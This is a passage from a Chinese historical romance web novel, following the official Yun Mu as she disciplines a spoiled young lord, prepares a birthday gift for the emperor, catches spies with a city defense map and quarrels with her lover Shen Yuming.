黄如海又磕了好几个头,额头和地板相碰,血丝黏连。 “带下去,廷杖二十,打紧实些,让黄公公长长记性,找回本心。” 云暮才回到布政房不久,一个锦盒放在了她面前,“大人,黄公公如今动弹不得,可要给他请医?” 云暮掀开一个角,旋即嫌弃收手:“拿出去扔了,告诉他们,黄如海身上带伤不便伺候皇上,这几日换吕梁当值。 宫中的奴才命比草贱,不能请太医,你是想坏了这个规矩?他不是在宫外置办了宅子,把人送出去。” “是。” 外头一阵喧闹,云暮把太监打发走后才信步出门:“发生了何事?” “将军。” 云暮看着抱着树不撒手的人,努力压住嘴角的笑意,拱手行了一礼:“下官见过世子。世子,您这是……” 方才还抱着树不撒手的人见了云暮,气急败坏指着他骂道:“都怪你,要不是你,我爹怎会把我又送回这个见鬼的地方!” 第一百四十七章 先前俞白做了混账事,长平侯把人送来金吾卫历练,命云暮不许手下留情。俞白回去后消停了很长一段时间,听说前儿又犯了浑,才从祠堂出来,又被送到了布政坊。 上一次的体验不好,再加上他瞧不起云暮,这次说什么都不想待在布政坊。 云暮敛了笑意,“世子此言差矣,押你来的人是你父亲长平侯,下官对此并不知情。” 她指着门口的方向道:“门就在那,请回吧。” 她冷脸时,很是唬人,眉眼也带了狠厉。俞白一向欺软怕硬,被云暮吓得默了半晌,他暗啐了自己一口,鼓起勇气问道:“此话当真?” 再过半个月便是万寿节,摘星阁一事还在等着她决断,给梁文帝的寿礼她也还没准备…… 每天都有忙不完的事,她实在没心思替人管教儿子。 她当即回去处理公事,临走前,对中郎将说了一句:“把世子送回侯府。” 俞白显然没忘记上次时如何被云暮“管教”的,他惊喜问道:“你当真愿意放我回去?” 云暮停住脚步,转头看他:“你再废话,就在此处待上个把月。” 俞白马不停蹄地往大门跑去,长平侯料到他不会乖乖待在布政坊,一直派人在门外守着,见他出来,又将其押了进去。 俞白挣扎:“我是世子,你们竟敢如此对我,等来日我掌了侯府,定要你们好看。” 这话委实大逆不道,长平侯不知从哪处角落钻出来,对着俞白道:“你这个逆子,你爹我还没死了,就惦记上了侯府。” “来人,把这个逆子给本侯押进去。” 俞白身体僵了一下,“你敢,我要去祖父面前告状!” 长平侯老来得子,全家把人宠得没边了,尤其是老侯爷,俞白要星星,老侯爷还会命人顺带把月亮也摘下。 俞白在京城游手好闲,文不成武不就,可把长平侯急坏了,但俞白有老侯爷护着,他也无可奈何。上次先斩后奏,回去后挨了老后依然一顿骂,这次依旧铁了心再把人给云暮送来。 云暮才打开一份卷宗,冯章就来了:“大人,长平侯亲自押着世子回来了,要您出去呢。” 云暮揉了揉太阳穴,“走吧。” 才到门口,就迎面和长平侯撞上,长平侯见了他如同见了救星一般,“云将军,你可要救救本侯。” 云暮飞快地瞥了一眼抱着树不撒手的俞白,终于知道他这耍无赖的手段跟谁学的了。 “侯爷言重了,不是下官不帮,只是布政坊庙小,容不下世子这尊大佛。” 长平侯苦着张脸,“云将军,本侯曾和人发了誓,这次要这小子洗心革面,重新做人,若是事成,可以得到这个数,本侯拿三,你拿七。” 钱财于云暮不过身外之物,她本想拒绝,但想到长平侯背后的势力,她不介意卖给对方一个人情。 “侯爷,钱的事后面再说,下官尽力而为,如若做不到,您也莫要怪罪。” 长平侯等的就是他这句话,“不会不会,他皮糙肉厚,云将军不用留情面,只要他不死不残就好。” 云暮眼角抽了抽,不是亲爹还真说不出这种话。 长平侯走后,云暮也没管俞白,只派人随时看着他,不许人跑了。 公务堆积了一个上午,午膳时,云暮不过用了几口,又把头埋进了卷宗里。 俞白无事可做,亦无人管他,饭后便在布政坊闲逛,想找些乐子。路过云暮的房外时,他本想进去拌两句嘴,但身后跟着的两人将他拦了下来。 强闯无果的俞白只能在门口弄出些动静,见云暮头也不抬,他留下一句“惺惺作态”后,扬长离去。 …… 沈聿明正在一张纸上涂涂画画,临近万寿节,他的礼物都还没备好,此刻抓耳挠腮地把他能想到的东西都列了出来,再从中选出一件送出去。 “钟叔,你看哪个好?” 钟叔看着他一脸期盼,最后还是狠心到:“都不太好。” “佛门的东西定是不能送的,寻常的真经皇上想来都有,俗物也入不得他的眼。” 沈聿明将笔丢在一边,有些气馁:“那你说应该送些什么?” 钟叔思考了许久,终于开口:“不如照着元真人的画像,用雷击木亲手刻元真人送给皇上。” 沈聿明头更大了:“不妥,本王手粗脚笨,万一雕出个四不像出来,岂不是让父皇失了面?” 钟叔却道:“老奴相信王爷。” 沈聿明摆了摆手,“本王再想想,你先下去吧。” 也不知道云暮会送什么礼,不如去找他取取经。 云暮伸了一个懒腰:“送礼?没想好,你有什么好点子?” 沈聿明先是去了云府,没见到人,又直奔布政坊,见云暮也尚未想好,他也松了口气:“钟叔让我用雷击木雕一个元真人,这活太细致,我做不到。” 云暮将桌上的东西都收拾好,和沈聿明往外走去。 “这倒是个好法子,我想找个绣娘,将元真人的真经绣在袍上,以此作礼。” 沈聿明挑眉:“你不怕被他发现?” 云暮对此倒是无所谓,“发现便发现,从前也不是没有过,你不如也找个人替你雕。” 只要是她送的,哪怕就是一颗普通的珠子,梁文帝那个变态都能命针衣局的人安在他的冠上。 沈聿明正要开口,就看见俞白带着人从角落钻出,神出鬼没,和他拿那侯爷老爹如出一辙。 云暮发现是他后,才把剑收回,“世子,刀剑无眼,下次莫要如此。” 俞白打量着云暮身旁的男人,长得比他丑一些,但也还算周正,虎背蜂腰螳螂腿,他忽然想起一个月前听到的传闻。 云暮当太监久了,内心有些扭曲,以至于不爱美人,先前在江南夜夜宣一个金吾卫作陪。调查摘星阁一事时,身旁一直跟着个人,想来这位就是了。 他经常流连风月场,见状,作势要勾住云暮的肩膀,却被那个男人捏住手臂往后一甩。 “你想做什么?” 第一百三十八章 比试 不过是一个小小的侍卫,竟也敢对他动手,俞白顿时拉下了脸:“本世子与你们将军说句话,你凑什么热闹?” 说完,他等着云暮给他撑腰,谁想云暮竟向着那个小侍卫,还把人正挡在身后,好像他会对对方不利。 “世子,你有何事?” 俞白阴阳怪气道:“枉我爹这么信任你,你不理本世子就算了,还跟其他男人拉拉扯扯,有失体统。” 云暮不知他气什么,只道:“你爹是把你送来了这里,让我照看一二,但我今日没空,世子实在闲不下来,我派人带你去练武。” 之前被迫扎马步,他每次都坚持不到半盏茶的时间,现如今回想起来还是有些后怕。 俞白指着沈聿明说道:“本世子不去,本世子要看书,让他去给我买几本话本子回来。” 云暮下巴一抬,对着俞白身后的人说道:“你去给世子买几本书。” “是。” 俞白拦住身后的人:“本世子说了让他去。” 下值时间早就到了,云暮一心只想着回府,懒得和他争辩:“书不必买了,送世子回房。” 沈聿明坦然对上俞白的眼神,挑衅地朝他勾唇,“他怎么在这里?” 一提起这事云暮就头疼,“他前几日为了一个青楼的姑娘对安国公府的世子大打出手,把人打得安国公都不敢认,长平侯怕他被皇上追究,就把人送来这里,让我管教一二。” 沈聿明刚回京时,为了打听京中的情况,时常宴请宾客,其中就有俞白,从江南回来后,他一直演着失忆,和那帮酒肉朋友断了联系。 即便不来往,但这事他也有所耳闻:“长平侯为了这个儿子,还真是煞费苦心。” 马车出了路口后,往右边拐进了西市,沈聿明撩起车帘:“去作甚?” 云暮言简意赅:“找绣娘。” “你认真的?” 云暮理直气壮道:“那不然呢,不扛着两箱金元宝送他就不错了。” 她不想讨好皇帝,大可如此,但如今他可是一个爱护父皇的好儿子,不能如此草率。 他心想,还有半个月,他应该能找到一件称心的礼物。 云暮看他愁眉苦脸,想到库房里那几幅珍藏字画,“皇上喜欢吴维则的画,不如送那幅《孝经图》?” 沈聿明脸更垮了:“这画听说两年前被人买走了,不知下落。” 云暮憋住笑,宽慰他:“无事,找不到咱就再想别的法子。” 怕流言蜚语再传到梁文帝的耳朵里,云暮独自下了车,和绣娘商量事宜。 “云大人,着实是挤不出时间,妾身手里头还有许多没绣呢,不如您去别处问问?” 云暮疑惑道:“又不是逢年过节,怎会有这么多人做衣裳?” 绣娘笑道:“云大人您也知道,半个月后就是万寿节,那些要去摘星阁参加宴会的太太大多都是来找妾身裁布制衣。” 云暮也没强求,收了银子四下走了走。不多时,路过一个绣品的小摊,云暮驻足看了片刻,摊主见他腰间挂的那枚令牌,猜到是云暮,局促地搓了搓衣角,叫了一声“云大人。” 云暮拿起一个双面绣的团扇,问道:“你绣的?” 妇人道:“是妾身所绣,可还入得了大人的眼?” 针脚细密,上头的蝴蝶还能随着光线而变化。 云暮将团扇放了回去,在妇人遗憾的目光中,她说道:“本将军有份生意想同你做,不知你愿不愿意?” …… 和绣娘敲定好后,云暮给了张一百两的银票做定金,“万寿节前必须绣出来,能做到吧?” 妇人小心翼翼地将银票贴身藏好,保证道:“云大人还请放心,就算不睡,妾身也要将衣服绣出来。” 云暮对此没有什么异议,四百两绣一件衣服,辛苦半个月,这一辈子不愁吃穿,这桩买卖,摊主不吃亏。 再次回到马车时,云暮手里提了两袋东西。 沈聿明接过放在桌上,问道:“怎么去了这么久?” 云暮解释道:“京城的绣楼忙不开,我去了别处找绣娘,多花了些时间。” 马车横跨东西坊市,最后停在了云府的后门。 第二日,俞白早早侯在了布政坊的门口,云暮才到他就八卦地迎了上去。 “眼下青黑,脚步虚浮,云暮,你昨夜当真留他在府中过夜了?” 一夜好眠的云暮冷笑道:“脚步虚浮?你同我一起扎马步,谁坚持不了半个时辰,谁就是虚的那个,世子,你敢比吗?” 男人最经不起激,还是那个他看不上的阉人,俞白放话:“比就比,本世子可不怕你。” 话说完后,他就后悔了,云暮扎上一个时辰的马步腿都不带抖的,他还和对方比,那不是自寻死路吗? 见他有退缩之意,云暮道:“世子不会想反悔吧?” 她环顾四周,“方才的话大家可都听到了,但如果你真要反悔,我们也是会守口如瓶的。” 那些看热闹不嫌事大的也纷纷应和。 俞白冷笑了一声,“谁要反悔了,现在就比。” 众人奔走相告,很快就围成了一个圈,把云暮和俞白围在中间。这些人一反常态,不断喊着“世子,加油,把云将军打趴”,手上却押云暮赢。 俞白嘲讽道:“看来你不得民心啊。” 云暮活动了一下手脚,“得不得民心,也不在这上头。” 中郎将一声令下,两人摆好了动作。初时俞白并不觉得有什么,但面前的香才燃了半炷时,他的双手和双腿开始打颤。 自从上次从布政坊回去后,他再也没有练过,如何比得过日日训练的云暮? 云暮余光一直关注着俞白的动静,见他双腿抖得不成样子了都还要坚持,她收回了目光,闭眼想着今日的安排。 忽而,她听到一阵呼喊声;“世子坚持不住了,将军赢了。” 她睁开眼,看着地上躺着的人:“世子,你若还能站起就继续比。” 俞白挣扎爬起,才刚蹲下,又倒了下去,如此重复了五次,他认命道:“本世子输了。” 第一百四十九章闹事 众人正在起哄,云暮一个眼神过去,很快就偃旗息鼓。 云暮朝俞白伸出右手:“世子,能坚持这么长时间已是难得,我扶你起来。” 俞白拍开他的手:“本世子不用你管。” 云暮定定看了他一眼,不解:“我同世子无冤无仇,世子为何如此厌恶我?” 俞白冷笑了一声,“本世子最看不惯靠媚主往上爬的人,而你,恰好就是这种人。你抄了多少人的家,手里沾了多少人命,不用本世子同你说吧?” 云暮不知该不该笑他天真,她无奈地摇摇头,“世子,不是所有人和你一样,生在大富大贵之家,有父母亲族呵护。如果能无忧无虑地过完这一生,谁又会选择这条艰苦的路?” “我付出的努力不比谁少,能走到今天,如果靠的都是皇上的偏信,我早就被那帮人啃的骨头都不剩了。” 说完,她没再管坐在地上的人。 巳时,云暮尚在处理公务,一人走进:“将军,驿使请您去驿站一趟。” 云暮头也没抬:“知道什么事吗?” “听说是有人带头围住了驿站,让驿使交出北域二皇子。” 一大群人围住驿站,北域的人若是借题发挥,她要他们好看! 云暮停住笔,骂道:“驿使干什么吃的,被围了不赶紧去找官府,这么点事都做不好,还要本将军去收拾烂摊子。” 骂归骂,但人还是要去的。 “你去清点出两队人马,随本将军同去。” 云暮一行人策马驰过街道,惊得街道两旁的百姓收起东西。 马鞭用力一甩,在地上炸出一声响。一直挡在门前的驿使见到云暮时,感动得快要落泪,“云将军。” 那些人见是云暮,当即要逃,尤其是带头滋事的那户人家,但云暮怎么会放他们离开? “一个个的都皮痒了是吧,把人捆了,送去京兆尹府,该吃多少板子就吃多少。” “云大人饶命,我们的儿子死了,要他们偿命有何不可?” “就是就是。” …… 云暮眯眼打量着说话的那几人,“下毒害死你们儿子的人如今被关在刑部大狱,过了万寿节就斩首,与二皇子他们何干?” 她指着其中一个男人道:“他们的儿子死了,你儿子也死了?” 男人一阵心虚,但还是梗着脖子说道:“是。” 死的那几个人里,云暮曾亲自带着银子去安抚了他们的家人,印象中并无此人。 她看向跟着她来的人,“你们都听到了,把人送走,让柳大人一一查清了,有谁的儿子死了,又有谁是趁机闹事的。” 在男人惶恐的目光中,云暮一字一句道:“撒谎诓骗本将军者,多吃十板子。” 男人被拖着往外走时,嘴里还在求饶,“云大人,草民知错了,您大人有大量,绕过草民吧。” 云暮叫住末尾的人,道:“让柳大人在众人面前施刑。”以此堵住悠悠众口。 云暮走进驿站,就听到有人用他们的方言说了几句话,云暮看向驿使:“他们说的话是什么意思?” 驿使一脸为难,却也不敢欺瞒:“回将军,他们说大梁的待客之道真是让他们大开眼界,和不开化的蛮夷之地相比,有过之而无不及。” 云暮掀了掀眼皮,看向那个抱臂倚在柱子上的男人,朗声道:“他们痛失爱子,内心悲愤欲绝,这才失了分寸,让各位使臣见笑了。” “许是使臣没有孩子,不能体会到他们的痛苦。” 说罢,又让驿使把她方才说的话译了一遍,使臣脸色铁青,转身回房,哐当一声,用力甩上了门。 云暮嗤了一声,这个使臣来过几次大梁,去年开春还来大梁谈过一桩生意,得知她是辛百草的徒弟后,还特意让她开了药房,云暮对他不算陌生。 对方为了延绵子嗣,纳了好几房小妾,但那些孩子不是胎死腹中,就是早早夭折。如今他年过半百,膝下却无一儿半女。听了这话,不得气个半死? 云暮还未走到,就看到司戎半靠在门前的栏杆上,“云暮见过二皇子,方才的事,让诸位受惊了。” 一大早就被平民挑衅,达勇正要和云暮争论一番,讨些好处,就被司戎的人拉回了房中。 司戎的目光从大门移到云暮身上,“云大人,这事是我们北域人做得不对,不知能否让我见一见那几人?” 北域的国君膝下有十余个孩子,不管男女都要争夺那个位子,可谓是竞争激烈。 司戎看着手无缚鸡之力,但没点手段他也活不到今天,不如卖个好给他,她也能揪出北域在大梁安插的卧底。 但云暮也没有着急应下,她看着司戎的神情,问道:“二皇子,此毒来自你们北域的寒虫,你当真不知?” 司戎坦然与他对望,“云大人说笑了,我若是知道,怎会自投罗网?” 云暮笑了笑:“谁知道呢,万一你是来撇清关系亦或是杀人灭口呢。” 司戎正色道:“不瞒云大人,我怀疑此事与我王兄有关,不如你我联手,将他拉下来。” 云暮问道:“这件事于我有何好处?” 司戎:“我们联手,把皇兄安插在大梁的眼线都揪出。若我能上位,每年牛羊各进贡五千匹,布匹……” 这些条件着实诱人。 云暮:“空口无凭,不如立个字据。” “好说。” …… 刑部大牢。 两人隐在暗处,没有现身,而狱卒们则得了吩咐,对着云暮的方向抬起他们的脸,好叫他们看清。 “二皇子看清了?” 司戎颔首:“是我皇兄的人,名唤及海,三个月前带着人离开北域,我一直查不到他们的下落,原来是来了大梁。” 云暮带着他走出大牢,问道:“二皇子为何不见他们?” 司戎摇头道:“还不是时候,先拷问过达勇,再来审他们也不迟。” 回想那个神色异样的使臣,云暮明了:“那得等万寿节过后了,其他的几个都是你的人?” 司戎点头又摇头,“父王不放心,也派了一人来提点。” 云暮没有再问了,将人送回驿站时,特意路过京兆尹府。 第一百五十章亲手熬粥 沈聿明一进云府就摘下了人皮面具,“你火急火燎地找我过来,怎么了?” 钥匙在云暮手中转了几圈,她走到沈聿明身后,把人往库房的方向推,“走吧,等会儿你就知道了。” 钥匙在门锁里转动了几下,咔哒一声,锁头开了。 沈聿明瞪大了双眼,“这……” 金银珠宝,古董器具…… 云暮翻箱倒柜,终于找到了她想要的东西,她缓缓摊开画卷,俨然是那幅《孝经图》。 沈聿明上前两步接过那幅画,惊喜道:“它竟然在你的手上,所以两年前买走它的人是你?” 云暮嗯了一声:“找人验过了,是真迹,你放心,没人知道是我买的。” 这几日苦寻不到一件称心的礼物,沈聿明愁得觉都睡不好,已经派钟叔去买雷击木了,谁想东西竟近在眼前。 “你当时花了多少钱买的,我翻倍给你。” 云暮失笑:“不用。” …… 万寿节前几日,整个京城都挂满了红绸,云暮带着人先去摘星阁巡视了一圈,确保摘星阁无事后,又在京城加大了巡逻力度,不许出一处纰漏。 这些时日她没空整治俞白,便将他带在身边做事,今日天光乍破,她就命人把俞白从床上拖起来。 俞白抱着床柱:“我不去,你不如让我跟他们一道训练,天天不是带我往外跑,就是让我念公文,你还是一剑杀了我吧。” 他从前看得最多的就是话本子,在家里也没人敢逼他念过书,云暮他怎么敢的?还天天带着他巡城,人都黑了不少,那些酒肉朋友指不定在背地里怎么笑话他呢! 云暮闻言,突然抽出了剑,一步一步朝他逼近。 俞白不过是吓唬吓唬他罢了,怎么会料到云暮竟真的敢拔剑,瞌睡虫都被吓跑了,他色厉内荏地看着云暮:“你……你有种就一剑砍死本世子!” 云暮抬起手,俞白闭着眼不敢再看。 哐当一声,云暮将床柱砍了下来:“给世子洗脸,既然是世子强烈要求,再让他和你们一道训练。” 俞白偷偷睁开一只眼,“当真?你不让我陪你去巡城了?” 云暮勾唇笑道:“怎么会,该做的事还是要做的,世子别想躲懒。” 俞白腾的一下站了起来,挽起裤腿怒道:“我腿都被磨破皮了,你就不能让我休息几日吗!” 云暮早在他有动作时就移开了眼,“等适应了就无事了,我们也都是这样过来的。” 说罢,她朝外走去,见到中郎将时,她还是说了一句:“训练时给世子放些水,别把人给惹恼了。” 中郎将:…… 他很想说,好像每次把世子惹恼的都是将军您吧。 见他欲言又止,云暮问道:“你想说什么?” 中郎将回道:“没什么,就是想问问大人,明日便是万寿节,今天要不要多增派些人手巡逻?” 云暮点头:“要,我们分别带队,在东西两市巡逻,结束后你就去休息,今夜还要巡城,对了,摘星阁时刻要有人把守,不许出现任何纰漏。” 中郎将应了声是。 “云大人。” 云暮听到熟悉的声音,猛地抬头,“你怎么来了?” 沈聿明将食盒放在桌上,拿出了一碗肉粥:“你天天忙得脚不沾地,路上见了也是匆匆一瞥,小人只能把自己送上门了。” 云暮两耳一热,“又贫嘴。” 碗勺相碰的清脆声响起,沈聿明的声音有些朦胧:“安叔说你今日只吃了一个馒头,我闲来无事,来看看你,过来吃?” 云暮才刚坐到榻上,双腿发软,浑身无力的俞白闯了进来,两人同时看去。 俞白浑身突然充满了力气,站直了身子:“是你,上次那个侍卫。” 他狐疑的目光在这两人身上打转,最后落到那碗粥上。 云暮拉开了和沈聿明的距离:“世子怎么来了?”她没注意到沈聿明眼中的不悦。 俞白大喇喇地走了进来,“本世子饿了。” 说罢,他欲夺过那碗粥,但沈聿明扣着碗就是不松手。 “世子这是何意?” 俞白没抢过来,有些恼怒:“你没听到本世子的话吗?给我。” 沈聿明无动于衷,用力捏着俞白的手,逼他松手:“世子,这是我特意给云大人准备的,你若饿了,让人去给你买就是了。” 俞白气急败坏:“云暮,管管你的人。” 云暮询问地看向沈聿明,见他不肯退让,便道:“世子,你同他置什么气,你喜欢吃什么,我派人去给你买。” 俞白本就不饿,是听说有人来找云暮,他心有疑惑才过来看看,没想到竟是上次那人。 云暮两次偏袒,把俞白气坏了,他毫不客气地说道:“要城东的桂花糕,城南的……” 他指着沈聿明道:“本世子要他去买。” 云暮把沈聿明拉到她身后,拒绝道:“他有事,我派其他人去给你买。” 俞白还要说些什么,云暮已经叫人把他带了出去。 “一碗粥而已,给他倒也没什么。” 沈聿明把碗塞到她手里,“不一样。” 云暮低头喝了一口,难怪他不肯给俞白,“嗯,是不一样,今儿的厨子不行,粥都煮糊了。” 她敲了敲脑门,苦恼道:“你说我要如何罚他,是让他收拾东西离开云府还是……” 沈聿明夺过碗,“啪”的一声放在桌上,双手撑在云暮身侧:“云大人对下人未免太过苛刻,不如再给他一次机会,下次他定能做好。” 云暮揪着他肩头的衣服,半撑着身子:“今儿怎么想下厨了?” 她的手顺着手臂往下,最后覆住了沈聿明的手背:“人人都道君子远庖厨,你,你倒好,还往厨房里钻。” 云暮把人往后推了推,坐直了身子,抓起他的手看了又看,没看到有水泡后才算放心。 沈聿明扣住她的手,解释道:“许久没有下厨,手生了,底下的有些糊了,我尝了一口,没吃出糊味,没想到还是被你发现了。” 云暮将那碗粥吃了个干净,“味道还不错,影响不大,你今儿无事,不如陪我一道巡逻?” “求之不得。” 第一百五十一章大娘立大功 整队出发在即,俞白忽然出现在他们面前。 云暮坐在马上俯视着他,“世子你这是?” 她念及这些日子把人逼得太狠,也不想他碍沈聿明的眼,便派人去告知一声,他今日歇息,谁想人居然来了。 俞白仰头看他们:“本世子无聊,想出去走走,不可以吗?” 云暮对此倒是无所谓,她看向沈聿明,无声询问,这架势像是只要他摇头,俞白立即就会被人押回房。 被偏爱的一方眉眼含笑,假装沉思了片刻后才勉为其难地说道:“既然世子要去,那就一道吧。” 云暮这才道:“给世子备马。” 门前的路障被撤了去,几十余人于路口分成四队,赶往不同的方向,云暮则带着人直奔摘星阁。 半个月前,为防意外突生,云暮曾发榜悬赏,若发现有人行踪诡秘,打听大梁的机密,经证实无误,嘉奖十两银子,但若为了银子故意虚报消息,则杖二十。 初时有不少人提供了消息,抓到了不少前来刺探大梁军情的探子,京城上下前所未有的一起对外,固若金汤,那些探子也终于歇了心思。 还未出摘星阁,云暮就注意到门外站着的黄进。 他是京城出了名的叫花子,日日在街头讨饭讨钱,有些看不过眼的给他一个馒头,他就这凉水也能挨过一天,得过且过。 自从云暮张榜悬赏找探子后,黄进就发挥了他常年混迹在京城大街小巷的能力,给云暮提供过几个消息,前后得了差不多四十两银子。 难怪人人都说银子养人,从前猥琐干瘦的男人刮了须,换了一身行头,日日都能吃饱,人都精神了不少。 黄进见云暮发现了他,忙笑着打招呼:“云大人。” 云暮示意人放了他:“何事?” 黄进绕过方才一直拦着他不许进的侍卫,小跑到云暮跟前,离她仅有几丈远,不等云暮拉开距离,沈聿明长腿一跨,挡在了两人中间。 “有话就直说,这儿也没旁人。” 黄进看看云暮,又看看先前没见过的沈聿明,“云大人,这……小人有探子的消息。” 云暮往前走去:“没旁人,有消息就说,京城如今正在戒严,探子跑不了。” 黄进指着脸上的淤青道:“大人,昨儿草民发现有几个人鬼鬼祟祟地在东杨坊徘徊,还在纸上涂涂画画。 小人跟了他们一路,像是在画京城的地图,便假装叫花子和他们讨钱,想趁机看看纸上的东西,谁料他们竟把小人殴打了一番,从延兴门跑了。 小人便在延兴门守了一夜,今儿一早他们又来了,许是见到金吾卫巡逻,躲到了别人的家中,小人已经和那几个军爷说了,他们派小的来告知大人,走时并未发现他们出来。” 京城的城防图是机密,人尽皆知,谁敢冒着这么大的风险做这种事? 云暮问道:“你没看错?” 黄进也不敢夸下海口,道:“这也是小人的猜测,昨日见他们每到一处宅子和街道都悄悄用脚丈量,才疑是别国探子。” 云暮听完,心里已经不抱有任何希望了,人都把房子围住了,他们为了不留下证据,那些图纸只怕已经被销毁了。 出乎意料的是,等他们到时,一个大娘正拿着扫帚打着蹲在地上的两人,见云暮来了才在旁人的劝说下收手。 大娘走到云暮面前,从袖口拿出一张粗粝的纸,“云将军,您可要替老身做主。” 云暮接过,飞快地扫了一眼,确认和黄进所说的大差不差后,道:“大娘,您有何事只管说。” 大娘指着地上抱头蹲着那两人道:“这两人不知从何处来的,强行闯入我的家中,躲在草垛里,被发现后还当我不识字,想让我替他们销毁罪证。” 大娘语气忽然有些得意:“老身不才,虽父亲念过几年书,一看便知晓这是京城的城防图,这才疑心他们的身份,便借着打火为借口,趁机拿到了城防图。” 云暮命人把那两人捆了带回去,对大娘说道:“本将军方才得了消息,这几日他们偷偷打探青城的消息,今日多亏有您出手相助,等会儿赏银会送到府上。” 大娘害了一声,“多大点事,都是为了大梁,赏银也不用了,我自个儿一个人也花不了这么些银子,留着也是遭贼人惦记。 万寿节刚要到,不过略松了些,什么牛鬼蛇神都涌上来了。” 云暮却不大同意:“大娘,本将军曾张榜告示,提供消息者可得十两银子,更何况您还替我们把人抓住了。谁若敢偷了您的银子,就是逃出京城,金吾卫也一定把人抓回来当着您的面处置。” 说完,不等大娘推脱,她便扬鞭走了。 俞白神色复杂地看着他,眼中满是不解:“人人都道你敛财无数,她不要银子不是更合你意?” 云暮垂眸,暗自白了他一眼:“十多二十两银子,我还不至于放在心上,就算再来百来个探子,金吾卫的经费也是够的。这些小钱,我还看不上。” 听她又在胡言乱语给自己招黑,沈聿明还是没忍住开口,“莫要胡说,没做过的事往自个儿身上揽什么?” 云暮久未见他动怒,觉得稀罕,她想起那三十万两银票,说道:“云府里藏着一座金山,你怎知我没做过?” 沈聿明不免想起云府的库房,那些古董器具都盖着官府的印章,和那些赏银一样,都是他父皇所赐。 这么多年,她打探消息靠的是金吾卫,平常府中开支不大,光靠库房里的东西都够她挥霍到老,哪还需要贪墨?他需要贪墨还差不多。 沈聿明沉着脸,一言不发地看着云暮。 云暮心虚地收回目光,把没说的话都咽回肚子里。而俞白惊疑不定地在他们身上来回切换,像是确认了什么不得了的事。 “云暮,本世子累了,要回去歇息。” 云暮无心管他,随意指了两个人送他回去,“明儿万寿节,你得和侯爷一道入宫,就回侯府吧。” 第一百五十二章把人绑到大人床上 直到巡逻结束,沈聿明都没有和云暮说过一句话。 回府的路上,只有他们两人时,云暮四下看了几眼,确认无人后,她大着胆子拉住沈聿明的手,轻轻晃了一下:“还在生气?” 沈聿明的气早就消了,但还是绷着张脸问:“没做过的事,为何要认?往后若是……别人随便安一个罪名在你头上,再找人作一场戏,罪名还能洗刷吗?” 名声早在她入宫不久就已经烂透了,云暮对此倒是没有太大的感觉,“若能把我从这个位子上拉下来,他们早就做了,何须等到以后?” 满不在乎的态度又点燃了沈聿明的怒火,“你知不知道弹劾你的折子垒得有多高,他对你有所图谋,才一直按下不提,以后呢?” 几次三番提到梁文帝,云暮也有了火气,她用力甩开沈聿明的手:“用不着你时时刻刻提醒我是因何得了权,以后如何尚且不知,大不了一死。不过你放心,死了也用不着你收尸。” 两人的争吵还是引来了人,云暮冷冷地看着那些看热闹的人:“眼睛耳朵不想要了的,尽管上前来看。” 此话一出,把人吓得一溜烟跑了。 初次听到云暮身死的痛苦再次席卷全身,沈聿明被她的话气到心口疼,他捂着心口,压下心悸。 他断断续续地道:“我不过是想……让你爱惜名声,你何苦……这样……咒自己?难道你死了,我便快活了吗?” 云暮咬着唇,倔强地看着他,却始终不肯向他迈一步,“爱惜名声也得有名声才是,我不过就是一把趁手的利刃,有没有名声很重要吗?” 沈聿明扶着墙朝她走了几步,“重要,我不想看你被人误解,不想看你满身骂名,你大仇得报,本该可以一走了之,但如今为了我留在京中,为我谋划。你如此待我,我也想让你……” 他走近,云暮便后退,两人始终隔着两三步的距离。 没等他说完,云暮就打断了他的话:“说到底,你不过是怕我名声不好牵累了你,不过你也用不着担心,如今我们明面上已经形同陌路,你我二人再无瓜葛,就此别过吧,往后就当我们没认识过。” 沈聿明的心口更疼了,他伸手欲抓住云暮的衣摆,只有清风划过空荡的掌心。 “云暮!” 云暮脚步一顿,到底还是没有回头。 彻底看不见她的背影后,沈聿明喉间涌上一股腥甜,紧接着呕出了一大摊血,整个人摇摇欲坠。 一直跟在他不远处文竹忙跑上前来把人扶住:“王……公子!小的去把云大人叫回来。” 沈聿明轻声道:“别去了,她不会回来的。” 拐角处,云暮捏着一个白瓷瓶,呵了一声,转身毫不留恋地离开了。 …… 当晚,云暮一夜未眠,手下辨不出他的喜怒,不敢轻言相劝,最后还是冯章几人看不下去,联手强逼着他去小憩一会儿。 云暮的头抵在墙上,一闭眼就是沈聿明呕血的画面,不是不知沈聿明是为了她好,但事情一牵扯到梁文帝,她总是压制不住怒火,伤人伤己。 冯章几人挤在角落,伸长脖子张望着云暮,窃窃私语。 “大人这是怎么了?” “不知道啊,听说昨儿和人在外头吵了一架,什么死啊活啊的。” 联想到这几日听到的传言,几人对视了一眼,都在心里想:云暮不会真和那个不知打哪冒出来的侍卫好上了吧? 太荒唐了。 不知有宫女太监想爬上过云暮的床,但都无一人成功,那人是何方神圣,竟能让他们将军为了他闹得要死要活。 徐文裹紧了衣领:“大人不会生气之余见异思迁,看上我吧?” 冯章凉凉地打量着他瘦小的身板:“那个侍卫我见过,模样周正,身板也可以,大人眼光高,不至于饥不择食。” 伍华拍了拍徐文的肩膀,“你该庆幸宋枫不在,不然你话都没说完,人就已经被揍了。” 徐文故作伤心地抹了把心酸泪,随后怂恿道:“你们跟在大人身边比较久,不如去和大人打听传言是否属实。” 徐文疯了不成,这么多年,也就宋枫过问云暮之事而安然无恙,他们谁敢? 冯章他们默默起身,拎着徐文走到练武场,决定和他较量一番,如果他连他们几个都不打过,那还是早点歇了心思吧。 远方传来求饶声,云暮思绪本就烦乱,这下更是没心思合目。循声走到演武场。 冯章讪讪收了手,“大人,吵到您了?” 云暮没有多言,对着他们勾了勾手指:“你们一起上,不用手下留情。” 几人心里叫苦连天,他们哪敢真的动手,要是真擦破了皮,等天一亮,革职的旨意就下来了。 四个打她一个,竟还节节败退,云暮抓住伍华的手,将其往旁边一甩,一点都不尽兴。 “都说了不要手下留情,还是说你们就这点实力?日日训练,练出什么了?还是说你们想让我亲自训你们?再不动真格,有你们好果子吃。” 被云暮训练的恐惧重新笼罩在他们的心头,冯章几人不得不使出杀手锏。 拳拳到肉,酣畅淋漓。 几人都倒在练武场上,胸口急剧地起伏。 徐文最终还是壮着胆子开了口:“大人,您没事吧?” 云暮深吸了几口气,用寻常的语气故作轻松道:“我能有什么事?” 徐文拍开冯章不断戳着他腰间的手,继续道:“听说昨儿您和人吵架了?” 几在场的人都竖起了耳朵。 云暮:“都传开了?” “可不是,各种版本都有。” 云暮啧了一声,“天亮后带人把消息压下去,我不想再听到那些消息。” 几人于天光初亮中对视。 “没否认,那就是真的。” “大人糊涂啊!” 